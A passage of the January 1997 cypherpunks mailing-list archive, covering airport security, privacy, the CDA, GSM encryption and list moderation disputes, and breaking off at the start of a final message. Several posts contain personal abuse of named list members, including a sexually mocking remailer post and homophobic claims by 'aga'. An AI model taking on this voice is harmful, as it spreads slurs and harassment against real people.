To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Airport security [no such thing]
In-Reply-To: <DucP1D6w165w@bwalk.dm.com>
Message-ID: <199701180514.XAA00633@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> snow <snow@smoke.suba.com> writes:
> > > I say we make people fly naked and ship their stuff via UPS ;).
> >     >>shudder<<
> >     No!. A clear case of the cure being worse than the disease...
> Why. it might be fun - those long flight can be so boring with clothes on...

     Rossanne Barr. Nude.

     Sorry to ruin your dinner.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Internaut <unde0275@frank.mtsu.edu>
Date: Fri, 17 Jan 1997 22:01:00 -0800 (PST)
To: "rcgraves@disposable.com>
Subject: RE: Newt's phone calls
Message-ID: <01BC04D2.80B01D40@s10-pm06.tnstate.campus.mci.net>
MIME-Version: 1.0
Content-Type: text/plain


>What does concern me is personal privacy. I don't want people tracking
>my movements or purchasing patterns, so I prefer to use cash or
>pseudonymous debit cards.

How pseudonymous are debit cards?  Don't they go through visa before they debit your account?
--Internaut





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Fri, 17 Jan 1997 21:01:51 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Airport security [no such thing]
In-Reply-To: <32E04544.7491@gte.net>
Message-ID: <Pine.SOL.3.93.970117235709.23441B-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 17 Jan 1997, Dale Thorn wrote:

> Dr.Dimitri Vulis KOTM wrote:
> > snow <snow@smoke.suba.com> writes:
> > > > I say we make people fly naked and ship their stuff via UPS ;).
> 
> > >     >>shudder<<
> > >     No!. A clear case of the cure being worse than the disease...
> 
> > Why. it might be fun - those long flight can be so boring with clothes on...
> 
> This one I really don't understand.  Cypherpunks lobbied heavily for
> the Final Solution to Spamming and flaming, now along comes the perfect
> solution to the airport security problem, and nobody's gonna go for it.
> 
> Guess those old, out-of-shape guys don't want anybody laughing at them.
> Besides, they can put all the clothes in the same plane's baggage
> compartment.  And planes have those little blankets and pillows,
> so what's the problem?

	Cold temps...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Fri, 17 Jan 1997 21:11:04 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Airport security [no such thing]
In-Reply-To: <DucP1D6w165w@bwalk.dm.com>
Message-ID: <Pine.SOL.3.93.970118000443.23757A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 17 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> snow <snow@smoke.suba.com> writes:
> 
> > > I say we make people fly naked and ship their stuff via UPS ;).
> >
> >     >>shudder<<
> >
> >     No!. A clear case of the cure being worse than the disease...
> 
> Why. it might be fun - those long flight can be so boring with clothes on...
> 

	That depends...on the movie.

> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 18 Jan 1997 00:09:10 -0800 (PST)
To: Rodrigo Espirito Santo <res@unidyne.uni.pt>
Subject: Re: Get me off this fucking list, or else.... (fwd)
Message-ID: <3.0.1.32.19970118000831.0065be70@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Either
a) You don't follow directions very well 
	(since you're still on the list, and since the software
	works just fine for people who can follow directions
	or consider spelling to be unimportant), or
b) The mailing list daemon is broken (happens sometimes, but usually
	that gives you no traffic), or
c) The mail you're sending doesn't have your correct headers on it
	(e.g. looks like it's from res@pc43.unidyne.uni.pt instead of 
	res@unidyne.uni.pt), in which case you may need human help, or
d) Somebody doesn't like you and subscribed you to the list
	because it's well-known to be a high-volume mailing list,
	and they keep subscribing you after you unsubscribe,
	in which case harassing the 1300+ people who _do_ want to
	be on the list is not a good thing to do.

So send mail to majordomo@toad.com, saying "help" and RFTM.


At 04:31 PM 1/17/97 +0000, Rodrigo Espirito Santo wrote:
>
>
>---------- Forwarded message ----------
>Date: Fri, 17 Jan 1997 16:30:25 +0000 (GMT)
>From: Rodrigo Espirito Santo <res@unidyne.uni.pt>
>To: cypherpunks@toad.com
>Cc: cypherpunks@toad.com
>Subject: Get me off this fucking list, or else....
>
>Hey you dumb asses, i tried to unsubscribe this list in the correct way 
>but you guys don't know SHIT about this!!!!1
>If you don't get me out now i'll subscribe each and every one of you to 
>some goddamn gay and lesbiann and freak mailing list!!!!!!
>get me out!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
>  
>
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sir Robin of Locksley <tozser@stolaf.edu>
Date: Fri, 17 Jan 1997 22:08:58 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: Re: Enough is Never Enough -- pro-CDA alliances, from TNNN
Message-ID: <199701180608.AAA17196@nic.stolaf.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 >
 >
 >---------- Forwarded message ----------
 >Date: Fri, 17 Jan 1997 18:04:35 -0800 (PST)
 >From: Declan McCullagh <declan@well.com>
 >To: fight-censorship@vorlon.mit.edu
 >Subject: Enough is Never Enough -- pro-CDA alliances, from TNNN
 >
 >[Attached are two excerpts from the article. For the rest, check out:
 >http://cgi.pathfinder.com/netly/textonly/1,1035,549,00.html --Declan]
 >
 >********
 >
 >The Netly News Network
 >http://netlynews.com/
 >
 >Enough Is Never Enough
 >By Declan McCullagh (declan@well.com)
 >January 17, 1997
 >
 >       A broad coalition of conservative and anti-pornography groups and
 >   individuals will file legal briefs next Tuesday in the Supreme Court
 >   supporting the government's defense of the Communications Decency Act,
 >   The Netly News has learned.
 >   
 >       The alliance includes longtime supporters of the act, such as
 >   Enough is Enough, Focus on the Family, and the National Association of
 >   Evangelicals. Members of Congress will join a separate brief that the
 >   National Law Center for Children and Families is preparing.
 >   
 >       But a letter from the attorney representing the coalition asked
 >   the ACLU for permission to file a brief "on behalf of" 59 plaintiffs,
 >   including such unlikely participants as the National Association for
 >   the Advancement of Colored People, PBS, SafeSurf... and Netscape.
 >   
 >       Netscape? The company that lobbied against the CDA? A firm with a
 >   reputation of putting their balls on the chopping block when fighting
 >   for Net-issues on Capitol Hill? Netscape was as shocked as I was to
 >   learn about their participation. "It wasn't authorized by me or my
 >   office. This is flabbergasting," Peter Harter, public policy counsel
 >   for Netscape, said. "I'd be crucified if this happened."
 >
 >[...]
 >   
 >       In their brief, which argues sociological rather than legal
 >   points, the groups hope to highlight the "dangers" of pornography
 >   online. They plan to supply the court with "legislative facts" to
 >   support the position Congress took when crafting the bill. The
 >   document also will include statistics discussing the effects of the
 >   Internet on children and the availability of material covered by the
 >   law. (Marty Rimm, where are you now?)
 >   
 >       Donna Rice-Hughes from Enough is Enough says: "It discusses three
 >   primary areas of our concern: letting the court know the problems on
 >   the Internet. Adult pornography, indecency, and child porn as well. A
 >   section on the harms of pornography. And a section dealing with the
 >   compliance issues: Is it feasible technically to comply with the CDA?"
 >
 
Stuff like this makes me sick. What the hell is up with these people!? You
offended me so you must leave. Well, excuse me, there is a reason internet
addresses have a WWW URL. It stands for World Wide Web and as such encompasses
the world. If there is stuff in the world that offends someone, don't look! But
to tell everyone else that they can't either since some were offended, that is
a starting point for cencorship. Now it's porn, tomorrow it's you saying what
you beleive (that might also be the truth...)

If one is offended by something, don't look! How come Catholicism doesn't get
banned and outlawed? Hell, it offends me... Guess not people!

>[...]
 >   
 >       Chris Stamper and Noah Robischon contributed to this report.
 >   

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMuBpXKr5aWnB1HshAQEm0QgAwnTz+xjtVKCVNgA0/L5hkqBALubqySM3
zzZlifGue1tq9puyPFEvaPSgRuRWcZSJN9BOYXAVd/kMnMiGwlvV2mAFjGiOCl2W
sPu5tUEC01V77l/egifYp8CvVGjsaZRBiQ5Ia0e5kqM/kd6/gxcbcRk69/3kpCQX
E2CCHCMZS+aW/HOl2HhX2k8t8oVVAGLoJFkaNV5WEc33N5XMv7URTBpx07NH8nmc
EjNpbroXl2LwqakAWleEFbr+eBQLJOPa43CKbRha6Dxop+LaaQrMBgihnHdD410P
6g0SgX0dJup9LTYryF3Ig30tUl/uJPdhg2TpjRw+/bom2v1m4iRZHg==
=vZqM
-----END PGP SIGNATURE-----

Gabor K. Tozser
        (Gabe)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 17 Jan 1997 21:50:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <Pine.SOL.3.93.970117235709.23441B-100000@pegasus.montclair.edu>
Message-ID: <TBoP1D18w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas <oksas@asimov.montclair.edu> writes:

> On Fri, 17 Jan 1997, Dale Thorn wrote:
>
> > Dr.Dimitri Vulis KOTM wrote:
> > > snow <snow@smoke.suba.com> writes:
> > > > > I say we make people fly naked and ship their stuff via UPS ;).
> >
> > > >     >>shudder<<
> > > >     No!. A clear case of the cure being worse than the disease...
> >
> > > Why. it might be fun - those long flight can be so boring with clothes on
> >
> > This one I really don't understand.  Cypherpunks lobbied heavily for
> > the Final Solution to Spamming and flaming, now along comes the perfect
> > solution to the airport security problem, and nobody's gonna go for it.
> >
> > Guess those old, out-of-shape guys don't want anybody laughing at them.
> > Besides, they can put all the clothes in the same plane's baggage
> > compartment.  And planes have those little blankets and pillows,
> > so what's the problem?
>
> 	Cold temps...

What can naked people do to keep warm???

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 18 Jan 1997 00:18:11 -0800 (PST)
To: Brad Dolan <bdolan@USIT.NET>
Subject: Re: National Security State has different standards for 'them' and 'us'
Message-ID: <3.0.1.32.19970118001514.0066c860@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:48 PM 1/16/97 -0500, Brad Dolan wrote:
>I was distracted a bit but I believe I heard on NPR news this morning that
>Colorado Guv. Roy Roemer showed up at an airport sans id and had a moment
>of difficulty getting on his flight.  Roemer solved the problem by showing
>the Federal Permission-To-Fly checker a picture of himself in a recent
>newspaper.

>I thought the ill-defined (or ill-described) rules required presentation
>of a _government_ picture I.D.  Since when is a newspaper photo a
>government picture I.D.?  

No, they don't, though the airlines like you to think that
since it simplifies their life and it's something they can tell
$5/hour bag checkers as well as higher-paid gate agents.
There is no national rule that applies to everybody requiring it;
each airline apparently has to negotiate with the FAA to make sure
they're doing a "reasonable" job of identifying their passengers.
The airline is free to make whatever rules they want.

On United, I normally use my employee ID and the credit card I use
to buy the electronic-ticket, which verifies reasonably well that
I'm the person the ticket was bought for (by the people who
told the airline they're my employer's travel agents.)

If the _government_ required _you_ to have government ID,
there'd be serious Constitutional problems with it;
regulating interstate commerce and air traffic safety by
forcing the airlines to do something they'd kind of like
to do anyway doesn't have the same problems, even though it's
almost _more_ offensive to a free society.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 18 Jan 1997 00:37:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: ftp sites for Applied Cryptography 2E.
Message-ID: <199701180837.AAA14712@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


All the ftp sites I've found with the source code from
Applied Cryptography had the source code from the first
edition. I assume there are changes and additions to the
source code in the second edition. Are there any ftp sites
with the the newer code?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Internaut <unde0275@frank.mtsu.edu>
Date: Fri, 17 Jan 1997 23:36:55 -0800 (PST)
To: "'snow'" <snow@smoke.suba.com>
Subject: RE: Airport security [no such thing]
Message-ID: <01BC04DF.D5F8C600@s10-pm06.tnstate.campus.mci.net>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> I say we make people fly naked and ship their stuff via UPS ;).

    >>shudder<<

    No!. A clear case of the cure being worse than the disease...


I was just kidding.  We do have to take on risks, like people wearing 
clothes, carring packages, ect.  As Igor Chudov @ home wrote recently in 
the Newt's phone calls thread:

> I would not be worried about this issue at all. The world at large is
> insecure in very many respects: it is easy to find out credit card
> numbers, overhear conversations, install hidden microphones, hack
> into computers, etc etc. It does not mean that we should stop all
> activity simply because there is "some" risk of losses.

We have two seemingly conflicting desires: the desire for security and the 
desire for privacy.  I do not call being searched "privacy" yet I do not 
call not being searched "security".  We need to find creative resolutions 
to these conflicts.

Of course, it is debatable if there is even an expectation of privacy on an 
airplane.  I don't mind terrably being searched in an airport by security 
because I don't expect the privacy.  I expect security.  I don't want to 
die.  If I have things I don't want them to see, there are other ways to 
get it there. I would worry if they cataloged what I had in a database and 
sold it to others.
 The service is just that -a service.  It is not a right.  We can travel 
other ways, too.
My late night ramblings cease, Internaut





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Foley <mycroft@actrix.gen.nz>
Date: Fri, 17 Jan 1997 06:16:58 -0800 (PST)
To: "registration@nature.com"@www.nature.com
Subject: Re: Nature Registration Confirmation
In-Reply-To: <199701170758.HAA00218@www.nature.com>
Message-ID: <199701171240.BAA04178@mycroft.actrix.gen.nz>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 17 Jan 1997 07:58:27 GMT,
		"registration@nature.com"@www.nature.com wrote:

   If you ever forget your password, there's no need to
   re-register. Just e-mail registration@nature.com with your
   name/e-mail address, and we'll look up your details and confirm
   your password/username.

   Also, please rest assured that your information is treated as
   confidential. It is held on our secure server and will never be
   sold or traded to any other company, organisation or individual.

Unless they write and ask, of course :-)

-- 
Paul Foley <mycroft@actrix.gen.nz>       ---         PGPmail preferred

	   PGP key ID 0x1CA3386D available from keyservers
    fingerprint = 4A 76 83 D8 99 BC ED 33  C5 02 81 C9 BF 7A 91 E8
----------------------------------------------------------------------
"I stayed up all night playing poker with tarot cards.  I got a full
house and four people died."
		-- Steven Wright




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dan Harmon <harmon@tenet.edu>
Date: Fri, 17 Jan 1997 23:54:45 -0800 (PST)
To: Bovine Remailer <haystack@holy.cow.net>
Subject: Re: your mail
In-Reply-To: <199701180655.BAA12721@holy.cow.net>
Message-ID: <Pine.OSF.3.91.970118015312.31481B-100000@gaston.tenet.edu>
MIME-Version: 1.0
Content-Type: text/plain




Too much free time.


		Surf'n the singularity.

On Sat, 18 Jan 1997, Bovine Remailer wrote:

> Timothy May's obsessive masturbation has lead to 
> advanced degree of blindness and hairy palms.
> 
>        ___
>      \/   \/
>      |_O O_| Timothy May
>       | ^ |
>      / UUU \
> 
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Fri, 17 Jan 1997 23:12:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701180655.BAA12721@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timothy May's obsessive masturbation has lead to 
advanced degree of blindness and hairy palms.

       ___
     \/   \/
     |_O O_| Timothy May
      | ^ |
     / UUU \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Profits@Goodnet.com
Date: Sat, 18 Jan 1997 00:59:00 -0800 (PST)
Subject: "Opportunity Knocks"      THIS MAILING IS BEING SENT TO YOU COMPLEMENTS            OF A COMMERCIAL E-MAILER SERVER.              PLEASE SEND ALL COMPLAINTS AND               ( REMOVE FROM LIST REQUESTS)                 TO: Nomad@Capella.net                Thank You, The Management      ----------------------------------------------      ----------------------------------------------      ----------------------------------------------
Message-ID: <199701180856.BAA24554@goodguy.goodnet.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 18 Jan 1997 02:07:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Eudora PGP
Message-ID: <199701181007.CAA19324@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain




If somebody wants to play with the new Eudora PGP
but don't have Eudora Pro 3.0, it is available at
ftp://ftp.catalog.com/aussie/biscoe/Eudora30.zip

Btw, is it legal for a moderator to let messages
like this one through to the list...?

Cheers






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "roamer.fau" <roamer@fau.campus.mci.net>
Date: Sun, 19 Jan 1997 00:01:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: mailing list
Message-ID: <32E081C4.3A11@fau.campus.mci.net>
MIME-Version: 1.0
Content-Type: text/plain


Please place me on your mailing list.           
						Thank You,
															  Mark




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Profits@Goodnet.com
Date: Sat, 18 Jan 1997 02:25:37 -0800 (PST)
Subject: "More Profits Faster"   THIS MAILING IS BEING SENT TO YOU COMPLEMENTS        OF A COMMERCIAL E-MAILER SERVER.          PLEASE SEND ALL COMPLAINTS AND           ( REMOVE FROM LIST REQUESTS)             TO: Nomad@Capella.net            Thank You, The Management  ----------------------------------------------  ----------------------------------------------  ----------------------------------------------
Message-ID: <199701181002.DAA04007@goodguy.goodnet.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sat, 18 Jan 1997 02:54:26 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Kill filing
In-Reply-To: <J9cP1D10w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970118055153.17014E-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 17 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> aga <aga@dhp.com> writes:
> 
> > Stop acting so stupid, Michael.
> >
> > On Thu, 16 Jan 1997, Dale Thorn wrote:
> >
> > > Michael Gurski wrote:
> > > > On Thu, 16 Jan 1997, Robert Hettinga wrote:
> > > > > At 1:05 pm -0500 1/16/97, Ed Falk wrote:
> > >
> > > > > And, in my case, Eudora displays each message in the status window as i
> > > > > bringing something down from the POP server, and again as it filters.
> > > > > So, Toto, you're not in "Cansas" any more. It's called a "Trash" folder
>                                  ^^^^^^
> Michael is so stupid, he can't spell "Kansas". That's why he's a "cypher punk".
> 

Is Michael a queer?

> > > > I used to have procmail shove messages from certain folks directly to
> > > > /dev/null, but then wondered a few days ago if I were missing
> > > > anything, so they ended up going to $MAILDIR/.in.garbage.  After
> > > > looking in there today, I'm glad to say that it's back to /dev/null,
> > > > with no regrets. Of course, with the new moderated list, there shouldn't
> > > > be too much work for procmail, except for those folks who I personally
> > > > feel aren't worth reading...
> > >
> > > Michael, please tell me and everyone else at cypherpunks just why it
> > > is we should give a shit at all what your personal killfile habits
> > > are, and whether we should give a shit about whether you think anyone
> > > on this list is or isn't worth reading.
> > >
> > > You and a thousand other clowns seem to think this is cool to do,
> > > but you're actually pointing back at yourself with this kind of crap.
> 
> The jerks who describe in detail whom they killfile (like Hettiga) always lie.
> Control freaks are really obsessed with the people they claim to "plonk",
> and read everything their "enemies" write with great interest.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 

Now if this Michael is a queer, it reinforces the hypothesis:

Most problem people on Usenet are queer.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sat, 18 Jan 1997 07:40:32 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <853575672.913152.0@fatmans.demon.co.uk>
Message-ID: <Pine.SUN.3.91.970118072302.29745A-100000@crl2.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sat, 18 Jan 1997 paul@fatmans.demon.co.uk wrote:

> ...but I must say the list has gone downhill sharply since 
> the start of the censorship.

I guess this a classic case of seeing what you want to see.
(Uh, Paul, the moderation experiment HASN'T STARTED YET.)


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sat, 18 Jan 1997 00:23:50 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
Message-ID: <853575672.913152.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > I suppose you want a special censored list where everyone who uses
> > the word "fuck" in relation to your good self or any other member of
> > this list you agree with has their posting cut?
> 
> No, I don't want censored anything. "Cypher punks" have degenerated into
> a moderated forum where those who dare criticize His Royal Majesty John
> the Cocksucker and his court are forcibly unsubscribed, while all sorts
> of vile insults directed at John's many "enemies" are encouraged.

I quite agree, there is something most definitely wrong with this 
whole situation, still, at least there are some crypto-relevant 
people on the "cryptography" mailing list. cypherpunks still has worthwhile 
nuggets on it but I must say the list has gone downhill sharply since 
the start of the censorship.
 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sat, 18 Jan 1997 00:28:58 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Newt's phone calls
Message-ID: <853575672.913148.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> 
> GSM includes A5 encryption here, so basically the whole design is worked out
> - all you'd have to do is rip out the A5 chip and replace with a decent
> encryption system.  Anyone know how modular the design is, for instance if
> it would be possible to give a GSM A5 based cell phone a crypto upgrade
> using published electrical interface standards?  (I want one of those -
> Nokia phone with IDEA + 2048 bit RSA signatures + DH forward secrecy!)

My guess is that this would not work.

Does anyone know if when you use a GSM phone to call a landline 
number the cellphone<-> base station trafic is encrypted???

my guess is that only when you call GSM to GSM is the trafic 
encrypted and even then I would imagine each phone agrees a key with 
the base station for the network then the trafic between the base 
stations is cleartext. The only way, if this were the case, would be 
to write the code so that the headers and other network information 
like SIM ID number etc... were cleartext or just A5 to the network as 
standard and only the actual speech data was encrypted under 
something stronger. This approach could become troublesome, 
if I have time I`ll get hold of some GSM specifications and look at 
it more closely.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sat, 18 Jan 1997 06:39:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Repeal the 9th Amendment? (fwd)
Message-ID: <199701181446.IAA30422@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> Date: Sat, 18 Jan 1997 08:53:59 -0500
> From: John Young <jya@pipeline.com>
> Subject: Repeal the 9th Amendment?
> 
> Your Jan. 9 article on the "assisted suicide" issue argued before 
> the U.S. Supreme Court does not mention the Ninth Amendment once 
> ("High court wrestles with assisted suicide"). I was not surprised. 
> Democrats and Republicans consistently ignore the Ninth (and 
> appoint judges who likewise ignore it).
> 
> The Ninth Amendment states: "The enumeration in the Constitution 
> of certain rights shall not be construed to deny or disparage 
> others retained by the people." By ignoring this plain wording, 
> the judiciary displays a reluctance to "create new constitutional 
> rights," an admirable sentiment. Considering that no one seems to 
> take it seriously, perhaps we should consider repealing the 
> "forgotten" Ninth Amendment.

Don't forget the 10th, without the 10th the 9th isn't worth the ink it is
written on. The two Amendments are meant to work hand in hand. Any party
which mentions one without the other is either attempting an end run or else
does not really understand what is being stated in them.


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 18 Jan 1997 05:58:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Repeal the 9th Amendment?
Message-ID: <1.5.4.32.19970118135359.0068ca28@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


A challenge on the ignored Ninth Amendment:


1-14-97. Washington Times, p. A14:


Why not just repeal the forgotten Ninth Amendment

Your Jan. 9 article on the "assisted suicide" issue argued before 
the U.S. Supreme Court does not mention the Ninth Amendment once 
("High court wrestles with assisted suicide"). I was not surprised. 
Democrats and Republicans consistently ignore the Ninth (and 
appoint judges who likewise ignore it).

The Ninth Amendment states: "The enumeration in the Constitution 
of certain rights shall not be construed to deny or disparage 
others retained by the people." By ignoring this plain wording, 
the judiciary displays a reluctance to "create new constitutional 
rights," an admirable sentiment. Considering that no one seems to 
take it seriously, perhaps we should consider repealing the 
"forgotten" Ninth Amendment.

After all, it seems to be written in invisible ink on just about 
every copy of the Bill of Rights owned by journalists and the 
judiciary. It is never the basis if deciding cases. Instead, it 
just clutters up the Bill of Rights and causes libertarians to 
prattle on endlessly about individual rights. I believe it would 
be healthy for this country to debate repealing the Ninth 
Amendment.

Although I am opposed to the idea of repealing it, I am just as 
opposed to the idea of ignoring parts of the Bill of Rights. 
Perhaps my proposed debate will cause some lawyers, journalists, 
judges and Supreme Court justices to reconsider their present 
positions.

Jim Ray
Miami, Fla.

Mr. Ray is chairman of the Dade County Libertarian Party Organization.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sat, 18 Jan 1997 06:06:59 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Airport security [no such thing]
In-Reply-To: <TBoP1D18w165w@bwalk.dm.com>
Message-ID: <Pine.SOL.3.93.970118085515.26106A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> 
> > On Fri, 17 Jan 1997, Dale Thorn wrote:
> >
> > > Dr.Dimitri Vulis KOTM wrote:
> > > > snow <snow@smoke.suba.com> writes:
> > > > > > I say we make people fly naked and ship their stuff via UPS ;).
> > >
> > > > >     >>shudder<<
> > > > >     No!. A clear case of the cure being worse than the disease...
> > >
> > > > Why. it might be fun - those long flight can be so boring with clothes on
> > >
> > > This one I really don't understand.  Cypherpunks lobbied heavily for
> > > the Final Solution to Spamming and flaming, now along comes the perfect
> > > solution to the airport security problem, and nobody's gonna go for it.
> > >
> > > Guess those old, out-of-shape guys don't want anybody laughing at them.
> > > Besides, they can put all the clothes in the same plane's baggage
> > > compartment.  And planes have those little blankets and pillows,
> > > so what's the problem?
> >
> > 	Cold temps...
> 
> What can naked people do to keep warm???

	steal blankets from nearby passenger..





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: i.am.not.a.number@best.com
Date: Sat, 18 Jan 1997 08:48:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [STATS] Cypherpunks-unedited subscriptions
Message-ID: <3.0.32.19970118090523.006ac2fc@best.com>
MIME-Version: 1.0
Content-Type: text/plain


dang!  i forgot to change.
what's the moderated list being called?
which is this one?  yikes --- i've been paying attention 
to somether things.


At 08:17 PM 1/17/97 -0800, you wrote:
>Total subscribers for:
>
>Tue 14 Jan: 13
>Wed 15 Jan: 15
>Thu 16 Jan: 13
>Fri 17 Jan: 14
>
>Looks like one of two things:
>Either nobody wants the unedited list, or, some of the "regular people"
>subscribe to the edited list and "flames" list separately, to get both.
>
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 18 Jan 1997 09:14:59 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: Keyword scanning/speech recognition
In-Reply-To: <85359805820229@cs26.cs.auckland.ac.nz>
Message-ID: <32E104FF.422B@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


pgut001@cs.auckland.ac.nz wrote:
